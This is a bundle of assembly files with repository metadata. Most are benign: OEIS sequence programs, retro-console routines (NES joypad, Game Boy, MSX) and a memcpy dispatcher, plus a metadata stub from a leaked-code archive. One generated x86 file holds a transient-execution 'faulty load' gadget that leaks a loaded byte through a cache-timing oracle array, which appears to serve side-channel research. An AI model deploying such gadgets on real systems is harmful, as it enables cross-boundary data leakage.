SSSE3Supported - 1 jg .notSSE2 mov dword [actualASM_bcopyPtr], actualASM_bcopySSE2 jmp .doJmp .notSSE2: cmp eax, AVX2Supported - 1 jg .notSSSE3 mov dword [actualASM_bcopyPtr], actualASM_bcopySSSE3 jmp .doJmp .notSSSE3: mov dword [actualASM_bcopyPtr], actualASM_bcopyAVX2 .doJmp: mov dword [esp + 28 + length], ebx add esp, 24 pop ebx jmp dword [actualASM_bcopyPtr]
TheStack
e13460d675bac73126fd6862cfc5a30c4fd3e8b0
Assemblycode:Assembly
{"size": 451, "ext": "asm", "max_stars_repo_path": "programs/oeis/113/A113638.asm", "max_stars_repo_name": "jmorken/loda", "max_stars_repo_stars_event_min_datetime": "2021-03-15T11:38:20.000Z", "max_stars_repo_stars_event_max_datetime": "2021-03-15T11:38:20.000Z", "max_issues_repo_path": "programs/oeis/113/A113638.asm", "max_issues_repo_name": "jmorken/loda", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "programs/oeis/113/A113638.asm", "max_forks_repo_name": "jmorken/loda", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null}
{"max_stars_count": 1, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 34.6923076923, "max_line_length": 210, "alphanum_fraction": 0.6585365854}
; A113638: In the sequence of nonnegative integers subtract 1 from each prime number. ; 0,1,1,2,4,4,6,6,8,9,10,10,12,12,14,15,16,16,18,18,20,21,22,22,24,25,26,27,28,28,30,30,32,33,34,35,36,36,38,39,40,40,42,42,44,45,46,46,48,49,50,51,52,52,54,55,56,57,58,58,60,60,62,63,64,65,66,66,68,69,70,70,72 mov $1,$0 sub $0,1 cal $0,105661 ; a(n)=1 if n is a prime, 2 if n is an even semiprime, otherwise 0. sub $0,1 lpb $0 mov $0,$2 add $1,1 lpe sub $1,1
TheStack
be2048a071545c3233f775617dc828a592b960a6
Assemblycode:Assembly
{"size": 575, "ext": "asm", "max_stars_repo_path": "code/file/load-sheets.asm", "max_stars_repo_name": "abekermsx/skooted", "max_stars_repo_stars_event_min_datetime": "2021-10-06T20:52:11.000Z", "max_stars_repo_stars_event_max_datetime": "2021-11-29T11:31:55.000Z", "max_issues_repo_path": "code/file/load-sheets.asm", "max_issues_repo_name": "abekermsx/skooted", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "code/file/load-sheets.asm", "max_forks_repo_name": "abekermsx/skooted", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null}
{"max_stars_count": 3, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 14.375, "max_line_length": 29, "alphanum_fraction": 0.4608695652}
load_sheets: call open_file ret nz ld de,SKOOTER.SHEETS ld b,3 load_sheets_loop: push bc push de ld de,load_buffer ld c,_SETDTA call BDOSBAS ld de,fcb ld hl,2048 ld c,_RDBLK call bdos_wrapper pop de pop bc or a ret nz push bc ld hl,load_buffer ld bc,2048 ldir pop bc djnz load_sheets_loop call close_file ret load_buffer: equ $c000
TheStack
3445ae089789c9cd8eb586df3433959c63afd933
Assemblycode:Assembly
{"size": 551, "ext": "asm", "max_stars_repo_path": "programs/oeis/082/A082524.asm", "max_stars_repo_name": "neoneye/loda", "max_stars_repo_stars_event_min_datetime": "2018-02-06T19:19:31.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-17T21:53:31.000Z", "max_issues_repo_path": "programs/oeis/082/A082524.asm", "max_issues_repo_name": "neoneye/loda", "max_issues_repo_issues_event_min_datetime": "2021-02-22T19:00:34.000Z", "max_issues_repo_issues_event_max_datetime": "2021-08-28T10:47:47.000Z", "max_forks_repo_path": "programs/oeis/082/A082524.asm", "max_forks_repo_name": "neoneye/loda", "max_forks_repo_forks_event_min_datetime": "2021-02-24T21:14:16.000Z", "max_forks_repo_forks_event_max_datetime": "2021-08-09T19:48:05.000Z"}
{"max_stars_count": 22, "max_issues_count": 41, "max_forks_count": 5, "avg_line_length": 20.4074074074, "max_line_length": 210, "alphanum_fraction": 0.5607985481}
; A082524: a(1)=1, a(2)=2, then use the rule when a(n) is the end of a run, n appears a(n) times. ; 1,2,2,3,3,5,5,5,8,8,8,8,8,13,13,13,13,13,13,13,13,21,21,21,21,21,21,21,21,21,21,21,21,21,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,34,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55 add $0,3 mov $2,4 mov $5,5 lpb $0 add $0,$2 add $3,4 trn $4,2 mov $1,$4 add $5,2 trn $0,$5 add $0,2 add $1,4 add $4,$3 mov $3,$0 sub $0,1 sub $3,$2 add $4,1 mov $5,$1 add $1,5 sub $4,$0 lpe sub $1,8 mov $0,$1
TheStack
40d0c94e11c3da7cc9050e5628c5f82e1b45121b
Assemblycode:Assembly
{"size": 144, "ext": "asm", "max_stars_repo_path": "other.7z/NEWS.7z/NEWS/テープリストア/NEWS_05/NEWS_05.tar/home/kimura/kart/risc.lzh/risc/join/Screen.asm", "max_stars_repo_name": "prismotizm/gigaleak", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "other.7z/NEWS.7z/NEWS/テープリストア/NEWS_05/NEWS_05.tar/home/kimura/kart/risc.lzh/risc/join/Screen.asm", "max_issues_repo_name": "prismotizm/gigaleak", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "other.7z/NEWS.7z/NEWS/テープリストア/NEWS_05/NEWS_05.tar/home/kimura/kart/risc.lzh/risc/join/Screen.asm", "max_forks_repo_name": "prismotizm/gigaleak", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null}
{"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 20.5714285714, "max_line_length": 47, "alphanum_fraction": 0.8125}
Name: Screen.asm Type: file Size: 12132 Last-Modified: '1992-11-18T01:48:26Z' SHA-1: 7FC8513EA28D31C2BA6D553E989FB52AA727A69B Description: null
TheStack
10688fc16d438134543d569fe0818fa3ca481194
Assemblycode:Assembly
{"size": 6726, "ext": "asm", "max_stars_repo_path": "Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_564.asm", "max_stars_repo_name": "ljhsiun2/medusa", "max_stars_repo_stars_event_min_datetime": "2020-08-13T19:41:58.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T12:22:51.000Z", "max_issues_repo_path": "Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_564.asm", "max_issues_repo_name": "ljhsiun2/medusa", "max_issues_repo_issues_event_min_datetime": "2021-04-29T06:29:35.000Z", "max_issues_repo_issues_event_max_datetime": "2021-05-13T21:02:30.000Z", "max_forks_repo_path": "Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_564.asm", "max_forks_repo_name": "ljhsiun2/medusa", "max_forks_repo_forks_event_min_datetime": "2020-07-14T17:07:07.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-21T01:12:22.000Z"}
{"max_stars_count": 9, "max_issues_count": 1, "max_forks_count": 3, "avg_line_length": 35.9679144385, "max_line_length": 2999, "alphanum_fraction": 0.6565566459}
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r13 push %r8 push %r9 push %rax push %rcx push %rdi push %rsi lea addresses_WC_ht+0x1acf8, %r9 nop nop nop sub %r13, %r13 mov $0x6162636465666768, %rax movq %rax, %xmm5 movups %xmm5, (%r9) nop nop dec %r8 lea addresses_WC_ht+0x18b78, %r12 nop nop nop inc %r13 mov (%r12), %rcx nop nop xor $43965, %r9 lea addresses_A_ht+0xd532, %rsi lea addresses_UC_ht+0x1ea08, %rdi nop inc %rax mov $127, %rcx rep movsw nop nop nop nop and $53547, %r13 lea addresses_normal_ht+0xfcd4, %rsi nop nop nop add %r8, %r8 mov (%rsi), %di nop nop add $48604, %rdi lea addresses_WT_ht+0x13578, %rsi lea addresses_WC_ht+0x14f44, %rdi nop cmp %r9, %r9 mov $90, %rcx rep movsq nop xor %rax, %rax lea addresses_UC_ht+0x72e8, %rdi nop nop nop nop nop xor %r9, %r9 movb $0x61, (%rdi) nop nop nop nop nop cmp %r13, %r13 lea addresses_WC_ht+0xc9a8, %r12 nop nop nop nop inc %rsi movl $0x61626364, (%r12) inc %r9 lea addresses_A_ht+0x14d78, %r9 nop nop nop nop and %rax, %rax mov $0x6162636465666768, %rdi movq %rdi, %xmm5 vmovups %ymm5, (%r9) add %rcx, %rcx lea addresses_WT_ht+0xeff8, %rsi lea addresses_WT_ht+0x17450, %rdi nop sub %r9, %r9 mov $95, %rcx rep movsl nop nop nop nop inc %rcx pop %rsi pop %rdi pop %rcx pop %rax pop %r9 pop %r8 pop %r13 pop %r12 ret .global s_faulty_load s_faulty_load: push %r10 push %r13 push %r15 push %r8 push %rbp push %rdi push %rsi // Store lea addresses_A+0x4c4c, %r13 add %rbp, %rbp mov $0x5152535455565758, %rdi movq %rdi, %xmm0 movups %xmm0, (%r13) nop cmp $9263, %rdi // Store mov $0x1f8, %rdi nop nop nop and $15731, %r15 mov $0x5152535455565758, %r13 movq %r13, %xmm1 vmovups %ymm1, (%rdi) nop nop nop inc %r15 // Faulty Load lea addresses_WT+0x19578, %r13 clflush (%r13) nop nop xor %r10, %r10 movups (%r13), %xmm5 vpextrq $0, %xmm5, %r15 lea oracles, %r8 and $0xff, %r15 shlq $12, %r15 mov (%r8,%r15,1), %r15 pop %rsi pop %rdi pop %rbp pop %r8 pop %r15 pop %r13 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WT', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_P', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 6}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_WT', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 5}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 9}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_A_ht'}, 'dst': {'same': False, 'congruent': 2, 'type': 'addresses_UC_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': True, 'size': 2, 'congruent': 2}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 9, 'type': 'addresses_WT_ht'}, 'dst': {'same': True, 'congruent': 2, 'type': 'addresses_WC_ht'}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': True, 'size': 1, 'congruent': 3}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 3}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 7}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 7, 'type': 'addresses_WT_ht'}, 'dst': {'same': False, 'congruent': 1, 'type': 'addresses_WT_ht'}} {'39': 21829} 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 */
TheStack
4cabe89762db7835b095772007489a9bc1e91569
Assemblycode:Assembly
{"size": 39, "ext": "asm", "max_stars_repo_path": "Src/Ant32/foo.asm", "max_stars_repo_name": "geoffthorpe/ant-architecture", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Src/Ant32/foo.asm", "max_issues_repo_name": "geoffthorpe/ant-architecture", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Src/Ant32/foo.asm", "max_forks_repo_name": "geoffthorpe/ant-architecture", "max_forks_repo_forks_event_min_datetime": "2020-07-15T04:09:05.000Z", "max_forks_repo_forks_event_max_datetime": "2020-07-15T04:09:05.000Z"}
{"max_stars_count": null, "max_issues_count": null, "max_forks_count": 1, "avg_line_length": 4.3333333333, "max_line_length": 10, "alphanum_fraction": 0.5384615385}
lc g0, 10 push g0 pop g1 halt
TheStack
02858eff85ded9f93360e1f76698bc577c8e3a49
Assemblycode:Assembly
{"size": 1729, "ext": "asm", "max_stars_repo_path": "programs/oeis/050/A050407.asm", "max_stars_repo_name": "karttu/loda", "max_stars_repo_stars_event_min_datetime": "2021-03-15T11:38:20.000Z", "max_stars_repo_stars_event_max_datetime": "2021-03-15T11:38:20.000Z", "max_issues_repo_path": "programs/oeis/050/A050407.asm", "max_issues_repo_name": "karttu/loda", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "programs/oeis/050/A050407.asm", "max_forks_repo_name": "karttu/loda", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null}
{"max_stars_count": 1, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 216.125, "max_line_length": 1650, "alphanum_fraction": 0.8305378832}
; A050407: a(n) = n*(n^2 - 6*n + 11)/6. ; 0,1,1,1,2,5,11,21,36,57,85,121,166,221,287,365,456,561,681,817,970,1141,1331,1541,1772,2025,2301,2601,2926,3277,3655,4061,4496,4961,5457,5985,6546,7141,7771,8437,9140,9881,10661,11481,12342,13245,14191,15181,16216,17297,18425,19601,20826,22101,23427,24805,26236,27721,29261,30857,32510,34221,35991,37821,39712,41665,43681,45761,47906,50117,52395,54741,57156,59641,62197,64825,67526,70301,73151,76077,79080,82161,85321,88561,91882,95285,98771,102341,105996,109737,113565,117481,121486,125581,129767,134045,138416,142881,147441,152097,156850,161701,166651,171701,176852,182105,187461,192921,198486,204157,209935,215821,221816,227921,234137,240465,246906,253461,260131,266917,273820,280841,287981,295241,302622,310125,317751,325501,333376,341377,349505,357761,366146,374661,383307,392085,400996,410041,419221,428537,437990,447581,457311,467181,477192,487345,497641,508081,518666,529397,540275,551301,562476,573801,585277,596905,608686,620621,632711,644957,657360,669921,682641,695521,708562,721765,735131,748661,762356,776217,790245,804441,818806,833341,848047,862925,877976,893201,908601,924177,939930,955861,971971,988261,1004732,1021385,1038221,1055241,1072446,1089837,1107415,1125181,1143136,1161281,1179617,1198145,1216866,1235781,1254891,1274197,1293700,1313401,1333301,1353401,1373702,1394205,1414911,1435821,1456936,1478257,1499785,1521521,1543466,1565621,1587987,1610565,1633356,1656361,1679581,1703017,1726670,1750541,1774631,1798941,1823472,1848225,1873201,1898401,1923826,1949477,1975355,2001461,2027796,2054361,2081157,2108185,2135446,2162941,2190671,2218637,2246840,2275281,2303961,2332881,2362042,2391445,2421091,2450981,2481116,2511497 sub $0,1 bin $0,3 add $0,1 mov $1,$0
TheStack
4e12ff243c13eb985a925ee1cb8588a89274701a
Assemblycode:Assembly
{"size": 978, "ext": "asm", "max_stars_repo_path": "src/game_over.asm", "max_stars_repo_name": "Gegel85/RemiFlap", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "src/game_over.asm", "max_issues_repo_name": "Gegel85/RemiFlap", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/game_over.asm", "max_forks_repo_name": "Gegel85/RemiFlap", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null}
{"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 15.5238095238, "max_line_length": 49, "alphanum_fraction": 0.6748466258}
gameOver:: ld a, [bgScrollX] ld [scrollBackup], a reg lines + 1, 72 reg lcdLineCmp, 70 ld [lines], a reg lineTimer, 2 reg lcdStats, 1 << 6 reset VBLANKRegister ld [$FFF0], a .mainLoop:: reset interruptFlag ld hl, VBLANKRegister .loop:: halt bit 7, [hl] jr z, .loop res 7, [hl] reset $FFF0 ld hl, lines ld a, [hl] ld [lcdLineCmp], a cp 59 jr z, .noChange ld a, [lineTimer] dec a ld [lineTimer], a jr nz, .noChange ld a, 2 ld [lineTimer], a dec [hl] inc hl inc [hl] .noChange:: call getKeysFiltered bit START_BIT, a jp z, .initGame bit B_BIT, a ld hl, mainMenu jp z, .move ld a, [bossHp] or a jr z, .mainLoop ld a, [currentStage] bit 0, a jr z, .rumia ld a, [bossAttack] cp 3 call z, flandreAttackFourOfAKind.displayElements jr .mainLoop .rumia:: ld a, [bossAttack] cp 2 call z, rumiaAttack2.drawProjectiles jr .mainLoop .initGame: reset currentStage reg bossHpDrainCounterMax, 2 ld hl, initGame .move:: reset lcdStats jp hl
TheStack
09e71af1cd19e8f562af2bef76caf312fb03212a
Assemblycode:Assembly
{"size": 1818, "ext": "asm", "max_stars_repo_path": "programs/oeis/164/A164006.asm", "max_stars_repo_name": "jmorken/loda", "max_stars_repo_stars_event_min_datetime": "2021-03-15T11:38:20.000Z", "max_stars_repo_stars_event_max_datetime": "2021-03-15T11:38:20.000Z", "max_issues_repo_path": "programs/oeis/164/A164006.asm", "max_issues_repo_name": "jmorken/loda", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "programs/oeis/164/A164006.asm", "max_forks_repo_name": "jmorken/loda", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null}
{"max_stars_count": 1, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 44.3414634146, "max_line_length": 1364, "alphanum_fraction": 0.7359735974}
; A164006: Zero together with row 6 of the array in A163280. ; 0,11,22,27,44,50,66,84,104,126,150,176,204,234,266,300,336,374,414,456,500,546,594,644,696,750,806,864,924,986,1050,1116,1184,1254,1326,1400,1476,1554,1634,1716,1800,1886,1974,2064,2156,2250,2346,2444,2544,2646,2750,2856,2964,3074,3186,3300,3416,3534,3654,3776,3900,4026,4154,4284,4416,4550,4686,4824,4964,5106,5250,5396,5544,5694,5846,6000,6156,6314,6474,6636,6800,6966,7134,7304,7476,7650,7826,8004,8184,8366,8550,8736,8924,9114,9306,9500,9696,9894,10094,10296,10500,10706,10914,11124,11336,11550,11766,11984,12204,12426,12650,12876,13104,13334,13566,13800,14036,14274,14514,14756,15000,15246,15494,15744,15996,16250,16506,16764,17024,17286,17550,17816,18084,18354,18626,18900,19176,19454,19734,20016,20300,20586,20874,21164,21456,21750,22046,22344,22644,22946,23250,23556,23864,24174,24486,24800,25116,25434,25754,26076,26400,26726,27054,27384,27716,28050,28386,28724,29064,29406,29750,30096,30444,30794,31146,31500,31856,32214,32574,32936,33300,33666,34034,34404,34776,35150,35526,35904,36284,36666,37050,37436,37824,38214,38606,39000,39396,39794,40194,40596,41000,41406,41814,42224,42636,43050,43466,43884,44304,44726,45150,45576,46004,46434,46866,47300,47736,48174,48614,49056,49500,49946,50394,50844,51296,51750,52206,52664,53124,53586,54050,54516,54984,55454,55926,56400,56876,57354,57834,58316,58800,59286,59774,60264,60756,61250,61746,62244,62744,63246 mov $4,6 mov $5,$0 mov $7,3 mov $8,$0 mov $9,$0 mov $0,2 mov $2,2 lpb $2 mov $2,1 mov $3,$5 mul $5,2 add $5,1 trn $8,2 add $8,$0 lpb $4 sub $4,$3 trn $4,$7 add $5,1 add $5,$8 mul $8,2 lpe mov $7,8 lpb $5 trn $0,8 trn $5,$7 mul $5,2 mov $7,3 lpe add $2,$0 lpe mov $1,$5 mov $6,$9 mul $6,4 add $1,$6 mov $10,$9 mul $10,$9 add $1,$10
TheStack
a15144737ccbb9f87521911ede6ec8bb62825fc3
Assemblycode:Assembly
{"size": 1188, "ext": "asm", "max_stars_repo_path": "nes-test-roms/MMC1_A12/joypad.asm", "max_stars_repo_name": "joebentley/ones", "max_stars_repo_stars_event_min_datetime": "2022-02-25T17:44:34.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T06:18:29.000Z", "max_issues_repo_path": "nes-test-roms/MMC1_A12/joypad.asm", "max_issues_repo_name": "joebentley/ones", "max_issues_repo_issues_event_min_datetime": "2020-11-09T19:57:25.000Z", "max_issues_repo_issues_event_max_datetime": "2021-12-24T07:09:53.000Z", "max_forks_repo_path": "nes-test-roms/MMC1_A12/joypad.asm", "max_forks_repo_name": "joebentley/ones", "max_forks_repo_forks_event_min_datetime": "2022-02-25T19:53:56.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-31T07:25:28.000Z"}
{"max_stars_count": 1461, "max_issues_count": 20, "max_forks_count": 34, "avg_line_length": 17.4705882353, "max_line_length": 92, "alphanum_fraction": 0.7062289562}
;Joypad handling .section "ReadnLockPads" FREE ReadLockJoypad jsr ReadJoypad ldx #$01 - lda Pad1,X tay eor Pad1Locked,X ;This detects the key who had a '0' to '1' transition and Pad1,X sta Pad1,X sty Pad1Locked,X dex bpl - rts .ends .section "ReadLockPadsDPCM" FREE ;To be used when the DPCM may occasionally glitch the reads ReadLockJoypadDPCM jsr ReadJoypad - ldx Pad1 ldy Pad2 ;Read until 2 consecutive reads returns the same data jsr ReadJoypad cpx Pad1 bne - cpy Pad2 bne - ldx #$01 - lda Pad1,X tay eor Pad1Locked,X ;This detects the key who had a '0' to '1' transition and Pad1,X sta Pad1,X sty Pad1Locked,X dex bpl - rts .ends .section "ReadPad" FREE ;Do read the hardware joypads ports ;Exit with JoyData=Joypad value ;X and Y unchanged ReadJoypad lda #$01 sta $4016 ;Be sure to reset the shift counters sta Pad1 sta Pad2 lsr A ;Simple trick to get a 0, heh sta $4016 - lda $4016 ;Read the value of JoyPad 1 lsr A bcs + lsr A + rol Pad1 bcc - ;Carry will be set when all 8 keys are read - lda $4017 ;Read the value of JoyPad 1 lsr A bcs + lsr A + rol Pad2 bcc - ;Carry will be set when all 8 keys are read rts .ends
TheStack
589842583b38f8ef9a6333ea4b573492adde5686
Assemblycode:Assembly
{"size": 1326, "ext": "asm", "max_stars_repo_path": "programs/oeis/250/A250879.asm", "max_stars_repo_name": "neoneye/loda", "max_stars_repo_stars_event_min_datetime": "2018-02-06T19:19:31.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-17T21:53:31.000Z", "max_issues_repo_path": "programs/oeis/250/A250879.asm", "max_issues_repo_name": "neoneye/loda", "max_issues_repo_issues_event_min_datetime": "2021-02-22T19:00:34.000Z", "max_issues_repo_issues_event_max_datetime": "2021-08-28T10:47:47.000Z", "max_forks_repo_path": "programs/oeis/250/A250879.asm", "max_forks_repo_name": "neoneye/loda", "max_forks_repo_forks_event_min_datetime": "2021-02-24T21:14:16.000Z", "max_forks_repo_forks_event_max_datetime": "2021-08-09T19:48:05.000Z"}
{"max_stars_count": 22, "max_issues_count": 41, "max_forks_count": 5, "avg_line_length": 30.1363636364, "max_line_length": 805, "alphanum_fraction": 0.7503770739}
; A250879: Number of (2+1) X (n+1) 0..3 arrays with nondecreasing x(i,j)-x(i,j-1) in the i direction and nondecreasing x(i,j)+x(i-1,j) in the j direction. ; 440,1456,3442,6728,11644,18520,27686,39472,54208,72224,93850,119416,149252,183688,223054,267680,317896,374032,436418,505384,581260,664376,755062,853648,960464,1075840,1200106,1333592,1476628,1629544,1792670,1966336,2150872,2346608,2553874,2773000,3004316,3248152,3504838,3774704,4058080,4355296,4666682,4992568,5333284,5689160,6060526,6447712,6851048,7270864,7707490,8161256,8632492,9121528,9628694,10154320,10698736,11262272,11845258,12448024,13070900,13714216,14378302,15063488,15770104,16498480,17248946,18021832,18817468,19636184,20478310,21344176,22234112,23148448,24087514,25051640,26041156,27056392,28097678,29165344,30259720,31381136,32529922,33706408,34910924,36143800,37405366,38695952,40015888,41365504,42745130,44155096,45595732,47067368,48570334,50104960,51671576,53270512,54902098,56566664 mov $5,$0 add $0,2 mov $1,$0 mul $0,5 mul $1,2 mul $1,$0 mov $3,$1 mov $4,$1 mul $4,$0 add $3,$4 mov $0,$3 mov $2,1 mov $6,$5 lpb $2 add $0,$6 sub $2,1 lpe mov $8,$5 lpb $8 add $7,$6 sub $8,1 lpe mov $2,10 mov $6,$7 lpb $2 add $0,$6 sub $2,1 lpe mov $7,0 mov $8,$5 lpb $8 add $7,$6 sub $8,1 lpe mov $2,5 mov $6,$7 lpb $2 add $0,$6 sub $2,1 lpe
TheStack
dd2f2538010d869aefcd9dcf6b134d7bf1e08022
Assemblycode:Assembly
{"size": 473, "ext": "asm", "max_stars_repo_path": "src/macros.asm", "max_stars_repo_name": "cout/sm_practice_hack", "max_stars_repo_stars_event_min_datetime": "2019-02-23T20:38:49.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-18T01:14:04.000Z", "max_issues_repo_path": "src/macros.asm", "max_issues_repo_name": "cout/sm_practice_hack", "max_issues_repo_issues_event_min_datetime": "2019-03-06T22:02:17.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-31T05:25:54.000Z", "max_forks_repo_path": "src/macros.asm", "max_forks_repo_name": "cout/sm_practice_hack", "max_forks_repo_forks_event_min_datetime": "2019-02-23T20:40:53.000Z", "max_forks_repo_forks_event_max_datetime": "2022-02-22T17:44:45.000Z"}
{"max_stars_count": 15, "max_issues_count": 50, "max_forks_count": 20, "avg_line_length": 11.825, "max_line_length": 39, "alphanum_fraction": 0.5792811839}
